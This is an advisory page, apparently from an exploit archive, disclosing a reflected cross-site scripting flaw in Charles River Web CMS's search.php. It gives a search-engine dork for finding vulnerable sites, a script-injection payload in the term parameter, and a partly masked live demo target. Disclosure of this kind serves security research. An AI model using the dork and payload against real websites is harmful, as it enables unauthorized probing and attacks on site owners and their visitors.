Charles-River-Web CMS Cross Site Scripting Vulnerabilitiy

2012.04.04

Credit: Am!r

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

Dork: \"Powered by Charles River Web\"

# Exploit Title : Charles-River-Web Cms Cross Site Scripting Vulnerabilitiy
#
# Author : IrIsT.Ir
#
# Discovered By : Am!r
#
# Home : http://IrIsT.Ir & Http://Security7.ir
#
# Software Link : http://www.charlesriverweb.com/
#
# Security Risk : High
#
# Version : All Version
#
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
#
# Dork : "Powered by Charles River Web"
#
########################################################
#
# Expl0iTs :
#
# [TarGeT]/search.php?term="><script>alert(/amir/)</script>
#
# D3m0 :
#
# pubs.healtxxxxxfects.org/search.php?term=[Xss]&submit=Search
#
#########################################################
#
# Greats : Zarbat.Org - Aria-Security.Com - datacoders.org - black-hg.org
#
# AjaxTm.Com - Sepehr-Team.Org And All Iranian Hackers
#

References:

http://www.charlesriverweb.com/

http://IrIsT.Ir

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Charles-River-Web CMS Cross Site Scripting Vulnerabilitiy

Dork: \"Powered by Charles River Web\"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.